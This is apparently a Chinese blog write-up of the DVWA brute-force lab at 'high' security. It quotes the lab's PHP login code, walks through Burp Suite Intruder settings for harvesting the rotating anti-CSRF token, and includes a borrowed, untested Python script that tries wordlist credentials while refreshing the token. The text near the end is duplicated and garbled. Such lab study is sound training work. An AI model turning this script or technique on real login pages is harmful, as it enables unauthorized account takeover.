1.既然medium里sql注入都没成功,high里应该也没可能了。
2.直接进行爆破。
通过抓包发现,这里对直接进行爆破进行了限制,加入了token值。
这可咋整,先看看代码吧。
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //使用checktoken防止csrf攻击,验证表单中的Token是否与用户Session(或Cookies)中的Token一致
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user ); //用stripslashes()删除反斜杠
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //用mysqli_real_escape_string()对sql语句过滤
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo "{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
user_token不断变化
这里是有个token值的问题,每次登录验证的时候除了用户名密码,还会对token值进行验证的。百度找找答案,发现burpsuit的爆破功能,可以获取token值。
但是发现brup有获取token的功能
注意本地搭建的靶机不能用127.0.0.1作为地址,否则会抓不到包,要用这个才能抓到包
1、将登录请求进行拦截,发现增加了user_token参数,所以爆破要选择两个参数来进行,先将请求发送到intruder。
2、设置两个参数 password和user_token为变量,攻击类型选择pitchfork,意思是草叉模式(Pitchfork )——它可以使用多组Payload集合,在每一个不同的Payload标志位置上(最多20个),遍历所有的Payload。举例来说,如果有两个Payload标志位置,第一个Payload值为A和B,第二个Payload值为C和D,则发起攻击时,将共发起两次攻击,第一次使用的Payload分别为A和C,第二次使用的Payload分别为B和D。
3、设置参数,在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为Always
4、然后设置payload,第一个参数设置不在赘述,第二个参数选择Recursive grep,然后将options中的token作为第一次请求的初始值。
5、点击start attack攻击爆破,结果成功爆破,如下图所示
找到token的这一块代码,发现每次请求都会变化
#! -*- coding:utf-8 -*-
import os
import requests
from bs4 import BeautifulSoup
def file_read(filename):
with open(filename, ‘r’) as f:
f_list = f.read().splitlines()
return f_list
def brute(username=None, password=None, user_token=None):
headers = {
‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36′,
‘Cookie’: ‘security=high; PHPSESSID=udtb5t38tc8nsv0vj28donric1′,
}
url = "http://10.211.55.3/dvwa/vulnerabilities/brute/index.php"
params = {
‘username’: username,
‘password’: password,
‘Login’: ‘Login’,
‘user_token’: user_token
}
try:
response = requests.get(url=url, params=params, headers=headers)
if ‘Welcome to the password protected area’ in response.text:
print("brute success!!!:" + username + ":" + password)
response = requests.get(url=url, headers=headers)
soup = BeautifulSoup(response.text, "html.parser")
user_token = soup.find("input", {"name": "user_token"})["value"]
return user_token
except Exception as e:
print(e)
return
def main():
user_token = brute()
for username in file_read("username.txt"):
for password in file_read("password.txt"):
user_token = brute(username, password, user_token)
if __name__ == "__main__":
main()
大佬写的Python脚本,我还未验证
.txt"):
user_token = brute(username, password, user_token)
if name == “main”:
main()
大佬写的Python脚本,我还未验证
![img](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDE4LmNuYmxvZ3MuY29tL2Jsb2cvMTM0NDM5Ni8yMDE4MTIvMTM0NDM5Ni0yMDE4MTIwOTE3MjgxNzkwMi0xMTAyNzcwOTg5LnBuZw?x-oss-process=image/format,png)